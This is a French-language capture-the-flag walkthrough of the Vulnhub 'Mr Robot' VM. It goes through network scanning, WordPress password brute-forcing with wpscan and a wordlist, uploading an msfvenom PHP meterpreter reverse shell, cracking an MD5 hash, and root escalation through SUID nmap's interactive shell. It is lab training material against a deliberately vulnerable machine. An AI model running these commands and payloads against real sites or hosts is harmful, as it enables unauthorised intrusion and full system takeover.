Mr Robot - Vulnhub
0x01 Présentation du CTF Mr Robot
J’ai donc choisis le CTF Mr Robot car je suis un grand fan de la série éponyme de Sam Esmail, je voulais donc évoluer dans cet univers. Vous pouvez retrouver le fichier .ova sur vulnhub et start la VM. Pour ce post je serais encore sous Kali Linux Sana tout les outils que je vais utiliser son déjà incorporés et si ils ne le sont pas je le mentionnerait à coté. But : trouver 3 flags
0x02 Premier flag
La VM étant installée il nous faut récupérer l’IP de la machine. Pour cela un petit coup d’arp-scan ( -l pour localnet )
arp-scan -l
On aurait également pu utiliser netdiscover / zenmap / ping sweep sous Nmap ou même coder un scanner soit même facilement. Il suffit juste de trouver une IP nouvelle sur notre réseau. Je remarque que la VM à pour adresse 192.168.1.48. On va maintenant essayer d’en apprendre plus sur cette machine (ports ouverts, services, OS, version). Pour cela rien de mieux que nmap
nmap -A http://192.168.1.48/
ou
nmap -sSV http://192.168.1.48/
Voyons voir … Linux, port 80, 443 il y a donc un serveur web (Apache ici)qui tourne dessus. Paf, on tombe sur une page d’accueil relativement sympa une sorte de simuli de prompt sur une machine. Les personnes qui ont codé ça se sont gavées ! Maintenant que l’on sait qu’il y a un serveur web on va chercher à en savoir plus (CMS ? Quel type de faille possible ? Lister les répertoires)
uniscan -u http://192.168.1.48/ -qweds
-
-q lister les répertoires
-
-w lister les fichiers
-
-e lister les fichiers robots.txt et sitemap.xml
-
-d activer le listing dynamique
-
-s ativer le listing statique
On remarque plusieurs choses 1. C’est un wordpress (ça tombe bien j’en ai jamais utilisé ahah à part en utilisant wpscan)
- Pas mal de fichier et répertoire s’offrent à nous
Maintenant il s’agit d’avoir soit de la chance soit d’être minutieux. Personnellement étant flemmard et plutôt chanceux j’ai directement ouvert les 2 bons fichiers
-
robots.txt
-
license
http://192.168.1.48/robots.txt contient 2 chose : un des 3 flags+ fsocity.dicgardons ça pour plus tard http://192.168.1.48/license contient un petit message sympathique puis si on scroll plus bas (ce que je n’ai pas fait la première fois) on tombe sur du texte en base64 ZWxsaW90OkVSMjgtMDY1Mgo= ==> elliot:ER28-0652
0x03 Deuxième flag
On connait maintenant 3 choses intéressantes :
-
c’est un wordpress
-
un dico
-
elliot:ER28-0652
(Etant donné que j’ai découvertelliot:ER28-0652 qu’à la fin on ne vas pas s’en servir pour le moment).
En partant de l’hypothèse que fsocity.dic contient notre mot de passe partons à la recherche de l‘utilisateur du wordpress. Je pense que c’était uniquement du guess pour trouver l’username car le script de nmap pour énumérer les utilisateursWP n’a rien ressortit
nmap --script http-wordpress-enum cible
et le scan WPScan non plus
wpsan --enumerate u
J’ai donc chercher un peu sur internet et d’autres personnes avaient trouvé Elliot mais par simple guess. Trouvons le password. Pour cela on va déjà alléger le fichier fsocity.dic car il présente beaucoup de doublon
sort fsocity.dic | uniq > uniq.dic
wc -l uniq.dic --> 11451
-
sort pour mettre les mots identique à coter car uniq ne sait faire autrement.
-
uniq pour tej’ tout les doubons
-
wc -l (lines) pour afficher le nombre de ligne et donc de mots
Maintenant on va bruteforcer les 11 451 possibilitéssoit avec le script de wpscan soit avec Hydra. Hydra est beaucoup plus rapide mais je vais utiliser la première des deux possibilités car hydra n’a bizarrement rien trouvé …
wpscan -u 192.168.1.48 --wordlist /root/uniq.dic --username Elliot
On a maintenant le couple username et password Elliot:ER28-0652. Après je suis re tombé sur le fichier license et j’ai re trouvé le mot de passe qui je le rappel était dans une string en base64 !
Maintenant on se log dans l’espace admin (/wp-login sous wordpress)et on va essayer d’obtenir un shell sur la machine avec les droits de l’admin.
Pour cela soit on utilise un plugin déjà existant laissé par l’admin (je vous laisse le découvrir) soit on ajoute un plugin afin denaviguer dans l’arborescence du serveur pour au final déposer un petit shell ( au début j’ai mis le fameux c99.php mais ça ne vaut pas le coup).
Après avoir installé le nouveau plugin je remarque qu’on peut uploader dans /wp-content/ reste plus qu’à envoyer un shell codé à la main ou pas. J’ai pour ma part préférer utiliser celui de metasploit php/meterpreter/reverse_tcp_shell qui fait très bien sont taff.
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.14 LPORT=444 -f raw > /root/door.php
Puis dans msfconsole
Il n’y a plus qu’a uploader et taper http://192.168.1.48/wp-content/door.php pour obtenir notre shell. Meterpreter nous offre une multitude d’actions, on va se contenter d’un shell. Pour cela dans le shell meterpreter
shell
python -c 'import pty;pty.spawn("/bin/bash")'
whoami --> deamon
la petite commande python permet de passer dans un shell bash car nous ne pouvons pas faire tout ce que l’on veut avec le shell de base. Maintenant on peut naviguer un peu dans le serveur on remarque assez vite le dossier /home/robot.
Dedans on y trouve 2 choses :
-
key-2-of-3.txt (mais on n’a pas les droits pour l’ouvrir)
-
password.raw-md5 qui une fois déchiffrer (vulgaire hash md5 très connue maintenant )nous donne robot:abcdefghijklmnopqrstuvwxyz
Essayons de se logger
su robot
password : abcdefghijklmnopqrstuvwxyz
Bingo ! On affichekey-2-of-3.txt et on a déjà flagger deux des clés.
0x04 Dernier flag
On est maintenant l’user robot sur la machine.
Il faut donc passer par l’étape escaladation des privilèges. Cette étape est souvent longue et complexe cependant quelqu’un à créer une article sur son blog personnel qui nous permet d‘améliorer notre exploitation ( lien ici ) en nous posant les bonnes questions.
J’ai également trouvé un script qui permet de faire une récolte d’information relative à cette étape (lien ici) On va essayer de trouver un programme SUID grâce à cette commande
find / -user root -perm -4000 -exec ls -ldb {} \; >/tmp/suidfiles
On remarque que nmap est suid. Pourquoi nmap en particulier ? Parce que nmap à une option dite interactive qui nous permet d’obtenir un shell si on tape !sh dans le prompt
Le résultat parle de lui même. Nous voila avec nos 3 flags et un accès root sur la machine ! Je comprend maintenant mieux pourquoi le mode interactive de nmap a été supprimé !